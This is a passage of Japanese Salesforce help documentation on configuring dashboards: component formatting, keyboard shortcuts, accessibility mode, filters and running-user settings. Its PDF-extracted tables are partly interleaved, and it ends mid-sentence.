使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

総計値コンポーネントは、ある時点の 1 つの値を表示します。ユーザが総計値
コンポーネントのデータを理解しやすいように、色を使用します。
必要に応じて、最大 3 個の値の範囲と色を定義して条件付き強調表示を設定し
ます。強調表示を設定してコンポーネントをフォローし、値がしきい値に達し
たら Chatter フィードでアラートを受け取るようにする必要があります。

メモ:

• 総計の横にある空のテキスト項目をクリックして、コンポーネントに総
計値表示ラベルを直接入力します。
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• ダッシュボード列で互いに上下に直接配置されている総計値コンポーネントは、1 つのコンポーネン
トとしてまとめて表示されます。

• ブレークポイント値を定義しない場合、またはこれらの値を空白のままにした場合、コンポーネント
のアラートは送信されません。

説明設定

最初のブレークポイントまでの低い数値範囲を示す色を選択します。ローレンジの色

ダッシュボード上でミドルレンジの色とハイレンジの色を分割する値です。ブレークポイン
ト 1

最初のブレークポインと 2 番目のブレークポイントのミドルレンジを示す色を選択します。ミドルレンジの
色

グラフをレポートの上か下に置きます。ブレークポイン
ト 2

2 番目のブレークポイントまでの高い数値範囲を示す色を選択します。ハイレンジの色

関連トピック:

ダッシュボードコンポーネントの変更

円およびドーナツダッシュボードコンポーネントの書式設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

円グラフは、さまざまな数量の相対的な構成比を表示するのに適しています。
[フォーマッティング] タブを使用して、円グラフの各区分の設定方法と表示ラベ
ルを選択します。

説明設定

並び替えの基準になる要素を選択して、横棒グラフの横軸、
または縦棒グラフの縦軸で最初に表示する要素を決定しま
す。テーブルの場合、行のラベルまたは値で昇順または降
順となるように、デフォルトの 2 列テーブルの並び替え順
を選択します。

行を並び替え

横棒グラフの横軸、縦棒グラフの縦軸、または積み上げ棒
グラフの選択した軸の最上位グループに含める要素の最大

表示する最大件数

数を設定します。テーブルの場合、含める最大行数を設定
します。たとえば、上位 5 名の営業担当者のみを表示する
場合は、所有者別の合計商談額を表す商談レポートを作成
し、この項目に「5」と入力します。

グラフに対して、凡例を表示する位置を選択します。凡例の表示位置
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説明設定

カスタムテーブルを作成するには、このリンクをクリックします。[表示する最大
件数]項目に入力した値が投入され、最初の 2 つの列には、デフォルトの列が自動

小グループを「その他」グ
ループと組み合わせる

入力されます。テーブルをカスタマイズするには、ソースレポートは集計または
マトリックス形式であり、グラフが含まれている必要があります。

グラフの個々のレコードまたはグループの値を表示します。これは、特定のグラ
フの種類にのみ適用されます。

値を表示

円グラフおよびドーナツグラフの各系列のパーセント値を表示します。% を表示

グラフ上にマウスを置いたときに、値、ラベル、およびパーセントを表示します。
詳細のフロート表示はグラフの種類によって異なります。パーセントは、円グラ

フロート表示を有効化

フ、ドーナツグラフ、およびじょうごグラフのみに適用されます。グラフのデー
タポイントが 200 個を超える場合、フロート表示は無効になります。

グラフの合計値を表示します。テーブルの場合、数値項目および現在の集計項目
の合計を含めます。

合計を表示

ダッシュボードのテーブルコンポーネントの書式設定
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

テーブルコンポーネントには、ダッシュボードのカスタムレポートからデータ
の列が表示されます。テーブルに表示されるレポートデータをユーザが解釈し
やすいように、色とスケールを使用できます。
デフォルトの 2 列テーブルを使用、または最大 4 列のカスタムテーブルを作成で
きます。
デフォルトの 2 列のテーブルでは、ソースレポートのグラフから最初のグルー
プと集計項目を使用します。レポートにグラフがない場合、デフォルトの列は、
レポートの最初のグループおよび集計項目に基づきます。
カスタマイズされたテーブルでは、結果に Null 値を入力できます。デフォルト
の 2 列には入力できません。
テーブル形式のレポートをソースレポートとして使用する場合、そのレポート
の [表示する行数] を設定する必要があります。
必要に応じて、最大 3 個の値の範囲と色を定義して条件付き強調表示を設定します。強調表示は、テーブルの
最初の集計項目列にのみ適用されます。

説明設定

並び替えの基準になる要素を選択して、横棒グラフの横軸、または縦棒グラフの縦軸
で最初に表示する要素を決定します。テーブルの場合、行のラベルまたは値で昇順ま
たは降順となるように、デフォルトの 2 列テーブルの並び替え順を選択します。

行を並び替え

横棒グラフの横軸、縦棒グラフの縦軸、または積み上げ棒グラフの選択した軸の最上
位グループに含める要素の最大数を設定します。テーブルの場合、含める最大行数を

表示する最大件数
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説明設定

設定します。たとえば、上位 5 名の営業担当者のみを表示する場合は、所有者別の合
計商談額を表す商談レポートを作成し、この項目に「5」と入力します。

ユーザまたはグループの名前項目によってソースレポートがグループ化されている横
棒グラフコンポーネントに、最大20レコードのChatter写真を表示します。写真を含む

Chatter 写真を表示

レコードが20件より多くある場合は、写真ではなくレコード名が表示されます。写真
を表示するには、[グルーピング表示] で [なし] に設定します。[ドリルダウン先] オ
プションを [レコード詳細ページ]に設定すると、写真をクリックしたときにユーザプ
ロファイルやグループページに直接移動できます。写真を表示するには、Chatter を有
効にする必要があります。組織の設定に応じて、テーブルやグラフで写真が表示され
ない場合があります。

カスタムテーブルを作成するには、このリンクをクリックします。[表示する最大件数]

項目に入力した値が投入され、最初の 2 つの列には、デフォルトの列が自動入力され
テーブルのカスタマイ
ズ

ます。テーブルをカスタマイズするには、ソースレポートは集計またはマトリックス
形式であり、グラフが含まれている必要があります。

テーブルに表示する最大 4 つの列を指定します。選択可能な列は、グラフで使用され
ているグルーピング項目または集計項目です。レポートのグラフまたはグルーピング
を更新して、ダッシュボードテーブルでより多くの列を使用できるようにします。

テーブルの列

カスタムテーブルを列のアルファベットの昇順または小さい順に並び替えます。2 番
目のレベルのグループは並び替えることはできません。

昇順に並び替え

カスタムテーブルを列のアルファベットの降順または大きい順に並び替えます。2 番
目のレベルのグループは並び替えることはできません。

降順に並び替え

グラフの合計値を表示します。テーブルの場合、数値項目および現在の集計項目の合
計を含めます。

合計を表示

デフォルトの 2 列テーブルに戻します。テーブルをデフォルト
にリセット

最初のブレークポイントまでの低い数値範囲を示す色を選択します。ローレンジの色

ダッシュボード上でローレンジの色とミドルレンジの色を分割する値です。ブレークポイント 1

最初のブレークポインと 2 番目のブレークポイントのミドルレンジを示す色を選択し
ます。

ミドルレンジの色

ブレークポイント 2ブレークポイント 2

2 番目のブレークポイントまでの高い数値範囲を示す色を選択します。ハイレンジの色

関連トピック:

ダッシュボードコンポーネントの変更
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Lightning Experience のキーボードショートカットでダッシュボードを編集

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「レポート実行」とダッシュボードフォ
ルダへのアクセス権

ダッシュボードを参照および更新する

「レポート実行」および「ダッシュボー
ドの管理」

ダッシュボードを作成する

「レポート実行」および「ダッシュボー
ドの管理」

自分が作成したダッシュボードを編集お
よび削除する

「レポート実行」、「ダッシュボードの
管理」および「すべてのデータの参照」

自分以外が作成したダッシュボードを編
集および削除する

「レポート実行」および「動的ダッシュ
ボードの管理」

動的ダッシュボードを作成、編集、およ
び削除する

[ダッシュボード] タブで、キーボードだけを使用してダッシュボードを作成、編集、削除できます。キースト
ロークを使用して、Lightning Experience でダッシュボードの編集がすばやく簡単にできます。
ダッシュボード作成または編集時、次の便利なキーボードショートカットを使用してください。

アクションキーボードショートカット

ダッシュボード内の次の項目にフォーカスを移動Tab

ダッシュボード内の前の項目にフォーカスを移動Shift + Tab

移動するコンポーネントまたはサイズ変更するコン
ポーネントの隅を選択

Spacebar

ウィジェットの移動またはサイズ変更[↑]、[↓]、[←]、[→]

ボタンのクリックEnter

元に戻すCtrl + Z

やり直しCtrl + Y

保存Ctrl + S

コンポーネントの追加Ctrl + N

コンポーネントの移動またはサイズ変更をキャンセルEsc

ダッシュボードのコンポーネント間をタブで移動するときに、スクリーンリーダーで各グラフのデータセット
を読み上げるオプション [グラフデータセットを読み上げる (スクリーンリーダー)] を使用できます。
Salesforce でのスクリーンリーダーの使用についての詳細は、Salesforce ヘルプの「Salesforce アクセシビリティの
推奨事項」を参照してください。
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Salesforce Classic のアクセシビリティモードでダッシュボードを編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

「レポート実行」とダッシュボードフォ
ルダへのアクセス権

ダッシュボードを参照および更新する

「レポート実行」および「ダッシュボー
ドの管理」

ダッシュボードを作成する

「レポート実行」および「ダッシュボー
ドの管理」

自分が作成したダッシュボードを編集お
よび削除する

「レポート実行」、「ダッシュボードの
管理」および「すべてのデータの参照」

自分以外が作成したダッシュボードを編
集および削除する

「レポート実行」および「動的ダッシュ
ボードの管理」

動的ダッシュボードを作成、編集、およ
び削除する

Salesforce Classic のアクセシビリティモードでダッシュボードを編集できます。

重要: このトピックは、ダッシュボードビルダーを使用していない場合にのみ表示されます。ダッシュ
ボードビルダーは、ダッシュボードの作成や変更を行うためのドラッグアンドドロップインターフェー
スです。

ダッシュボードでは、ソースレポートから得たデータを、グラフ、ゲージ、テーブル、総計値、またはVisualforce

ページなど、視覚化されたコンポーネントとして表示します。ダッシュボードを編集するには、ダッシュボー
ドを表示し、[編集] をクリックします。
[ダッシュボードの編集] ページから、次の操作が可能です。
• [としてデータを表示しています] 項目でダッシュボードの実行ユーザを確認します。
• タイトル、フォルダ、実行ユーザなどを変更するには、[ダッシュボードのプロパティ]をクリックします。
• [完了] をクリックすると、ダッシュボードが表示されます。すべての変更内容は、変更実行時にダッシュ

ボードに保存されます。
• [削除] ボタンをクリックすると、ダッシュボード全体が削除されます。
• いずれかの列で [コンポーネントの追加] をクリックします。
• 列の幅を設定するには、[小]、[中]、または [大] をクリックします。

メモ: コンポーネントが円グラフまたはドーナツグラフで、[値を表示]や [パーセントの表示]が有効
化され、[凡例の表示位置] が [右] に設定されている場合、ダッシュボード列の幅は、ダッシュボード
に表示する値はパーセントのために [大] に設定する必要があります。

• ダッシュボード内のコンポーネントの配置を変更するには、 、 、 、 をクリックします。
• コンポーネントの種類、表示単位、ソースレポートなど、コンポーネントのプロパティを変更するには、

[編集] をクリックします。
• [削除] をクリックすると、コンポーネントがダッシュボードから削除されます。削除したコンポーネント

は、ごみ箱に保存されません。
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• ソースレポート、条件設定済みレポート、レコード詳細ページ、またはその他の URL までドリルダウンす
るには、ダッシュボードコンポーネントまたはその要素をクリックします。条件設定済みコンポーネント
にドリルダウンすると、ダッシュボード検索条件がソースレポートに適用されます。

1. アクセシビリティモードでのダッシュボードのプロパティの設定
2. アクセシビリティモードでのダッシュボードコンポーネントの追加および編集
3. アクセシビリティモードでのダッシュボードコンポーネントのプロパティ

関連トピック:

アクセシビリティモードでのダッシュボードコンポーネントの追加および編集
Salesforce Classic ダッシュボードを作成
アクセシビリティモードでのダッシュボードのプロパティの設定
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アクセシビリティモードでのダッシュボードのプロパティの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

動的ダッシュボードを作
成、編集、および削除す
る
• 「レポート実行」およ

び「動的ダッシュボー
ドの管理」

ダッシュボードで他の実
行ユーザを選択する
• 「私のチームのダッ

シュボードの参照」ま
たは「すべてのデータ
の参照」

重要: このトピックは、ダッシュボードビルダーを使用していない場合に
のみ表示されます。ダッシュボードビルダーは、ダッシュボードの作成や
変更を行うためのドラッグアンドドロップインターフェースです。

ダッシュボードのプロパティを設定する手順は、次のとおりです。
1. ダッシュボードを編集して [ダッシュボードのプロパティ] をクリックしま

す。
2. 次の操作を実行します。

• ダッシュボードのタイトルと説明を入力します。
• 「アプリケーションのカスタマイズ」権限を持つユーザは、API および管

理パッケージで使用する一意の名前を入力します。
• このダッシュボードの列の数を選択します。各ダッシュボードに列を 2 つ

または 3 つ選択できます。

重要: 列を削除する前に、その列のコンポーネントを別の列に移動し
ます。移動しないと、表示されなくなる場合があります。

• ダッシュボードに保存するフォルダを選択します。フォルダは、対象の
ビューアすべてがアクセスできるようにする必要があります。

• [ダッシュボード実行ユーザ]を選択して、ダッシュボードの表示設定を設
定します。
– 個人のセキュリティ設定に関係なく、すべてのダッシュボードユーザ

に同じデータを表示するには、[指定したユーザとして実行] を選択し
て [実行ユーザ] 項目を設定します。「すべてのデータの参照」権限
がない場合は、自分のみを選択できます。

– 各ユーザのアクセス権に従ってデータを表示するには、[ログインした
ユーザとして実行] を選択します。
• [編集ページの表示形式]項目を設定して、選択したユーザの表示形

式でダッシュボード編集ページをプレビューします。
• ユーザに「私のチームのダッシュボードの参照」権限または「すべてのデータの参照」権限があ

る場合、[承認されたユーザが実行ユーザを変更]を選択し、権限を持つ認証ユーザがダッシュボー
ド編集ページの実行ユーザを変更できるようにします。「私のチームのダッシュボードの参照」
権限を持つユーザは、ロール階層内で自分より下位のユーザとしてダッシュボードを表示できま
す。「すべてのデータの参照」権限を持つユーザはダッシュボードを編集でき、組織のどのユー
ザとしてもダッシュボードを表示できます。

• [コンポーネント設定] で、タイトルの色とサイズ、テキストの色、背景のグラデーションを選択しま
す。グラデーションを設定する場合、[開始の色] と [終了の色] に同じ色を選択します。
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3. [保存] をクリックします。

関連トピック:

Salesforce Classic での動的ダッシュボードの設定
Salesforce Classic の実行ユーザの選択

アクセシビリティモードでのダッシュボードコンポーネントの追加および編集

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分が作成したダッシュ
ボードを編集および削除
する
• 「レポート実行」およ

び「ダッシュボードの
管理」

自分以外が作成したダッ
シュボードを編集および
削除する
• 「レポート実行」、

「ダッシュボードの管
理」および「すべての
データの参照」

重要: このトピックは、ダッシュボードビルダーを使用していない場合に
のみ表示されます。ダッシュボードビルダーは、ダッシュボードの作成や
変更を行うためのドラッグアンドドロップインターフェースです。

ダッシュボードでは、ソースレポートから得たデータを、グラフ、ゲージ、テー
ブル、総計値、または Visualforceページなど、視覚化されたコンポーネントとし
て表示します。コンポーネントは、組織の主要な総計値のスナップショットお
よびパフォーマンスの指標を提供します。各ダッシュボードには、最大 20 個の
コンポーネントを持たせることができます。
ダッシュボードコンポーネントを追加する手順は、次のとおりです。
1. ダッシュボードを編集します。
2. 列の上部の [コンポーネントの追加]をクリックし、コンポーネントのプロパ

ティを定義します。
3. ダッシュボードに使用する[カスタムレポート]を選択します。[Visualforce

ページ]または[カスタムSコントロール]コンポーネントを選択したら、ペー
ジまたは Sコントロールを選択して表示の高さを入力します。ダッシュボー
ドにグラフを含む結合レポートを表示できます。結合レポートダッシュボー
ドコンポーネントを編集し、[ソースレポートで定義したグラフを使用] を選
択します。

メモ:

• 標準レポートを使用して作成したカスタムの売上予測およびリード
レポートは、[カスタムレポート] リストでは使用できない場合があ
ります。

• ダッシュボードで表形式レポートを使用するには、まず [表示する行
数] オプション、列の並べ替え、レポートの [条件の選択] ページの
順序を設定して行数を制限します。表形式レポートを使用するダッ
シュボードのゲージまたは総計値コンポーネントを使用できません。

4. 選択したコンポーネントの種類に適切な設定を入力します。選択したコン
ポーネントの種類の [フォーマッティング] タブで設定を選択します。
• ダッシュボードの棒グラフコンポーネントの書式設定
• ダッシュボードの散布図グラフコンポーネントの書式設定
• ダッシュボードのゲージコンポーネントの書式設定
• ダッシュボードの総計値コンポーネントの書式設定
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• ダッシュボードのテーブルコンポーネントの書式設定

5. [保存] をクリックします。

メモ: ダッシュボード列で互いに上下に直接配置されている総計値コンポーネントは、1 つのコンポーネ
ントとしてまとめて表示されます。

関連トピック:

グラフの種類
ダッシュボードコンポーネントの変更

アクセシビリティモードでのダッシュボードコンポーネントのプロパティ
重要: このトピックは、ダッシュボードビルダーを使用していない場合にのみ表示されます。ダッシュ
ボードビルダーは、ダッシュボードの作成や変更を行うためのドラッグアンドドロップインターフェー
スです。

次の設定は、選択するコンポーネントの種類によって異なる場合があります。

説明項目

縦棒または横棒グラフ、折れ線グラフ、円またはドーナツグラフ、テーブ
ル、総計値、ゲージ、Visualforce ページ、またはカスタムSコントロールを選
択します。

コンポーネントの種類

ダッシュボードコンポーネントの上部に表示するヘッダーを入力します。ヘッダー

ダッシュボードコンポーネントの下部に表示するフッターを入力します。フッター

ダッシュボードコンポーネントを識別するタイトルを入力します。役職

グラフ値を表示する単位を選択します。テーブルコンポーネントの場合、こ
の設定は最初の列にのみ適用されます。最も適した結果を得るために、最適
なユニットを Salesforce に選択させるには、[自動] を選択します。

表示単位

ユーザがダッシュボードコンポーネントをクリックした場合の動作を選択し
ます。

ドリルダウン先

• ソースレポート — ユーザにダッシュボードコンポーネントの完全なソー
スレポートを表示します。

• 条件設定済みソースレポート — ユーザが個々のグループ、X 軸の値、ま
たは凡例項目をクリックすると、クリックしたもので絞り込まれたソース
レポートが表示されます。
たとえば、フェーズ別にグループ化した商談の積み上げ縦棒グラフがあ
り、X 軸を月としている場合、棒内の個々のフェーズまたはフェーズの凡
例項目をクリックすると、絞り込まれたソースレポートにドリルダウンし
ます。(ゲージ、総計値、またはテーブルでは使用不可。)
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説明項目

• レコード詳細ページ — このオプションでは、ユーザがグラフまたは、テー
ブル要素、軸の値、または凡例項目をクリックすると、そのレコードに対
する詳細ページが表示されます。レコード名、所有者、またはフィード投
稿でグループ化されているソースレポートを使用するテーブルおよびグラ
フでのみこのオプションを選択できます。(ゲージまたは総計値では使用
不可。)

• URL (その他) — 指定する URL をユーザに表示します。ダッシュボードコン
ポーネントには、「mailto:」または「javascript:」で始まる URL は追加できま
せん。

メモ: 条件設定済みおよびレコード詳細ページドリルダウンは、200 個
を超える値のあるダッシュボードグラフには使用できません。

ユーザがダッシュボードコンポーネントをクリックしたときにドリルダウン
する先の URL を指定します。このオプションを使用して、別のダッシュボー

ドリルダウン URL

ド、レポート、レコード詳細ページ、または Web インターフェースを使用す
るその他のシステムにユーザを送信します。

関連トピック:

ダッシュボードコンポーネントの変更
ダッシュボードコンポーネントの種類
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AppExchange からの CRM サンプルダッシュボードのインストール

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

パッケージをインストー
ルする
• 「AppExchange パッ

ケージのダウンロー
ド」

ダッシュボードを作成す
る
• 「レポート実行」およ

び「ダッシュボードの
管理」

ビジネスニーズを満たすダッシュボードを作成するための開始点として、
AppExchange にあるこれらのダッシュボードを使用します。
AppExchange の CRM サンプルダッシュボードパッケージには、組織の標準オブ
ジェクトと項目に基づく基本レポートが含まれたベストプラクティスダッシュ
ボードが用意されています。これらの営業、マーケティング、サービス、およ
びサポート用の各ダッシュボードを使用して、ユーザ、ユーザのチーム、およ
びユーザの会社のビジネスプロセスと主要業績指標を追跡できます。このパッ
ケージには、次のダッシュボードが含まれています。
• 営業およびマーケティングダッシュボード

– マーケティングエグゼクティブダッシュボード
– 営業エグゼクティブダッシュボード
– 営業マネージャダッシュボード
– 営業担当者ダッシュボード

• 顧客サービスダッシュボード
– エージェントスーパーバイザーの概要ダッシュボード
– サービスエグゼクティブの概要ダッシュボード
– サービス KPI ダッシュボード

1. AppExchange で、「Salesforce CRM ダッシュボード」を探して、[今すぐダウン
ロード] をクリックします。

2. サンプルダッシュボードをインストールするには、パッケージをインストー
ルします。
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ダッシュボードの絞り込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードに検索条
件を追加する
• 「レポート実行」およ

び「ダッシュボードの
管理」

ダッシュボードの参照、
更新、絞り込みをする
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

ダッシュボード検索条件により、1 つのダッシュボードからさまざまなデータの
組み合わせを簡単に得られます。異なるユーザセットでダッシュボードを分け
る必要はありません。各グループに合った検索条件を指定するだけで済みます。
ダッシュボードで検索条件を使用すると、次にダッシュボードにアクセスする
ときに絞り込まれたビューが再度表示されます。
検索条件には名前、検索条件の演算子および 1 つ以上の値があります。各検索
条件には、最大 10 個のオプションを指定できます。各ダッシュボードには、最
大 3 個の検索条件を含めることができます。検索条件オプションの制限を増や
す場合は、Salesforce にお問い合わせください。最大 50 個の検索条件オプション
が追加可能です。
選択リスト、ルックアップ、チェックボックス、テキスト項目、数値項目、日
付項目、および日時項目に対して検索条件を設定できます。
ダッシュボードで条件を変更する場合、以前にキャッシュされたデータが存在
する場合はそのデータが表示されます。データが存在しない場合は、最新デー
タが取得されます。いずれの場合も、ダッシュボードの「最終更新」日付には
表示しているデータのタイムスタンプが表示されます。最新データを取得する
には、[更新] をクリックします。

メモ: ダッシュボード検索条件では、次の操作を実行できません。
• Visualforceまたは Sコントロールコンポーネントが含まれるダッシュボー

ドに検索条件を追加することはできません。
• バケット項目を検索条件にした絞り込みはできません。ただし、ダッ

シュボードページのバケット項目で絞り込んだレポートを使用すること
は可能です。

• ダッシュボードのスケジュール設定またはメール送信を行う場合、検索
条件は適用されません。

• ダッシュボードビューの結合レポートのデータを検索条件で絞り込んだ
り、結合レポートのみが含まれるダッシュボードに検索条件を追加する
ことはできません。

• ダッシュボード検索条件にカスタム数式項目を使用することはできませ
ん。

• Lightning Experience では、絞り込まれたダッシュボードは編集できませ
ん。つまり、新しいダッシュボード検索条件は追加できません (ただし、
ダッシュボードの表示中に既存の検索条件を変更することはできます)。
Salesforce Classic に切り替えて、絞り込まれたダッシュボードを編集しま
す。

1. ダッシュボード検索条件の追加
ダッシュボード検索条件を作成するには、絞り込みの条件となる情報の種類を含む項目を選択し、検索条
件によってデータがどのように返されるかを定義します。
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2. ダッシュボード検索条件の適用
ダッシュボード検索条件を設定して、情報を対話形式で分析します。Salesforce Classicダッシュボードに検索
条件を設定すると、絞り込まれたビューが保存され、ダッシュボードを次回に表示するときに同じビュー
によってデータが絞り込まれます。Lightning Experience では、ダッシュボードは常に検索条件が適用されな
い状態で開きます。

3. ダッシュボード検索条件の例
ダッシュボードの絞り込みによって、異なるデータの参照を選択することができます。Salesforce Classicダッ
シュボードに検索条件を設定すると、絞り込まれたビューが保存され、ダッシュボードを次回に表示する
ときに同じビューによってデータが絞り込まれます。Lightning Experience では、ダッシュボードは常に検索
条件が適用されない状態で開きます。ダッシュボード検索条件を使用しないと、複数のダッシュボードを
作成して、ダッシュボードごとに条件設定済みレポートの固有セットが必要になります。

ダッシュボード検索条件の追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードに検索条
件を追加する
• 「レポート実行」およ

び「ダッシュボードの
管理」

ダッシュボード検索条件を作成するには、絞り込みの条件となる情報の種類を
含む項目を選択し、検索条件によってデータがどのように返されるかを定義し
ます。
検索条件に選択した項目に同等の項目がある場合があります。同等の項目は、
検索条件に選択した項目と同じ基本オブジェクトを共有しています。同等の項
目を使用して、検索条件に選択した項目と完全に同じ項目が含まれていないコ
ンポーネントを絞り込んで除去したり、一部のコンポーネントを別の方法で絞
り込んだりすることができます。たとえば、[取引先所有者] 項目を絞り込む場
合、同等の項目に [商談所有者] または [商談の作成者] が含まれる場合があり
ますが、これは、これらの 3 つすべてがユーザオブジェクトの一部であるため
です。
ダッシュボードを編集するときに、[検索条件] によって各コンポーネントがど
のように絞り込まれるのかを確認できます。同等の項目がコンポーネントで使
用できる場合、別の項目を選択して、コンポーネントを絞り込むことができま
す。
1. ダッシュボードで[編集]をクリックし、[検索条件を追加]をクリックします。

Lightning Experienceでは、絞り込まれたダッシュボードは編集できません。つ
まり、新しいダッシュボード検索条件は追加できません (ただし、ダッシュ
ボードの表示中に既存の検索条件を変更することはできます)。Salesforce Classic

に切り替えて、絞り込まれたダッシュボードを編集します。
2. [項目] ドロップダウンから、絞り込む項目を選択します。ドロップダウン

には、すべてのコンポーネントの絞り込みに使用できる項目が表示されま
す。選択した項目の同等の項目を表示するには、 をクリックします。

3. 識別できるように検索条件に表示ラベルを付けます。検索条件に数多くの同
等項目を含める場合、すべてのコンポーネントに有効なラベルを使用するこ
とをお勧めします。

4. [検索条件オプション] の下で、演算子を選択し、検索条件となる 1 つ以上の
値を入力します。
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[グループ名] 項目を使用して、検索条件の名前を付けます。たとえば、営業ダッシュボードで、商談の複
数のフェーズを「初期」というグループにまとめることができます。これにより、ユーザはダッシュボー
ドをすばやく絞り込んで、開発の初期フェーズの商談に関連するデータのみを表示できます。

メモ: 複数の値を持つオプションは、OR 条件として扱われます。

5. [OK] をクリックします。[OK] をクリックすると、各コンポーネントに検索条件がどのように適用されるか
が表示されます。同等の項目がコンポーネントで使用できる場合、コンポーネントの絞り込みに使用する
同等の項目を選択できます。

既存の検索条件を変更または削除するには、条件ドロップダウンから、[検索条件を編集] または [検索条件を
削除] を選択します。
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ダッシュボード検索条件の適用

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードの参照、
更新、絞り込みをする
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

ダッシュボード検索条件を設定して、情報を対話形式で分析します。Salesforce

Classic ダッシュボードに検索条件を設定すると、絞り込まれたビューが保存さ
れ、ダッシュボードを次回に表示するときに同じビューによってデータが絞り
込まれます。Lightning Experience では、ダッシュボードは常に検索条件が適用さ
れない状態で開きます。

メモ: ダッシュボードのすべてのコンポーネントを同じ項目で絞り込む必
要はありません。ダッシュボードを作成または編集したユーザが、使用す
る項目を指定します。

1. ダッシュボードを開きます。
Salesforce Classic では、このダッシュボードを最後に使用したときに検索条件
を適用していた場合、その検索条件が引き続き選択されています。Lightning

Experienceでは、ダッシュボードは常に検索条件が適用されない状態で開きま
す。

2. 検索条件ドロップダウンからオプションを選択します。
各検索条件では、1 つ以上のオプションを選択して、選択をさらに絞り込む
ことができます。

3. データの絞り込みを解除するには、検索条件ドロップダウンから [条件をクリア] または [すべて] を選択し
ます。
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ダッシュボード検索条件の例

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ダッシュボードの絞り込みによって、異なるデータの参照を選択することがで
きます。Salesforce Classicダッシュボードに検索条件を設定すると、絞り込まれた
ビューが保存され、ダッシュボードを次回に表示するときに同じビューによっ
てデータが絞り込まれます。Lightning Experience では、ダッシュボードは常に検
索条件が適用されない状態で開きます。ダッシュボード検索条件を使用しない
と、複数のダッシュボードを作成して、ダッシュボードごとに条件設定済みレ
ポートの固有セットが必要になります。

商品ごとの営業パフォーマンス
閲覧者が商品ごとの営業パフォーマンスを追跡できる営業ダッシュボードを作
成します。これを行うには、完了した収益など、重要業績評価指標を使用して
ダッシュボードを作成します。[商品名] 項目に検索条件を追加して、閲覧者が商品ごとにパフォーマンスを
表示できるようにします。

異なる取引先セグメントの案件
2 つの検索条件を設定してダッシュボードを作成し、異なる種別の取引が異なる取引先セグメントにわたって
どのように実行されているかを表示します。組織セグメントがどのようにみなすかを反映したいくつかの範囲
を含む [年間売上]の検索条件を作成してから、商談 [種別]に検索条件を作成し、最後に [範囲]別に案件を
表示する検索条件を追加します。これを動的ダッシュボードとして作成すると、営業組織全体がそれを使用で
きるようになるため、管理者はそれを使用してチームのパフォーマンスを表示し、担当者はそれを使用して自
分のパフォーマンスを監視できます。
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どのユーザとしてダッシュボードを表示するかの選択

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

たとえば、営業担当は各自の商談のみが表示可能であるものの、あなたは前四
半期に成立したすべての商談を確認する必要があるとします。ダッシュボード
を作成すれば、そのダッシュボードをあなた (またはすべての商談を表示できる
誰か) の代わりに他のユーザが表示できるようにすることができます。営業担当
がダッシュボードを開くと、各自の商談の代わりにすべての商談に関する情報
が表示されます。(営業担当の Salesforce でのアクセス権は変更されません。営業
担当はそのダッシュボードでのみ追加データを見ることができます。)

Lightning Experience でのどのユーザとしてダッシュボードを表示するかの選択
どのユーザとしてダッシュボードを表示するかを指定することによって、
ダッシュボード閲覧者に表示されるデータの範囲を指定します。どのユーザ
としてダッシュボードを表示するかを指定すると、ダッシュボード閲覧者が
通常よりも広い範囲のデータを参照できる場合があることに注意してくださ
い。ダッシュボードを適切なダッシュボードフォルダに保存することによって、ダッシュボードへのアク
セス権を制御してください。
Salesforce Classic の実行ユーザの選択
実行ユーザを選択して、ダッシュボードに表示するデータを指定します。
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Lightning Experience でのどのユーザとしてダッシュボードを表示するかの選択

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを作成、
編集、および削除する
• 「レポート実行」

および

「ダッシュボードの管
理」

どのユーザとして
Lightning Experience ダッ
シュボードを表示するか
を指定する
• 「私のチームのダッ

シュボードの参照」

または

「すべてのデータの参
照」

どのユーザとしてダッ
シュボードを表示するか
をダッシュボード閲覧者
が選択できるようにする
• 「私のチームのダッ

シュボードの参照」

または

「すべてのデータの参
照」

どのユーザとしてダッシュボードを表示するかを指定することによって、ダッ
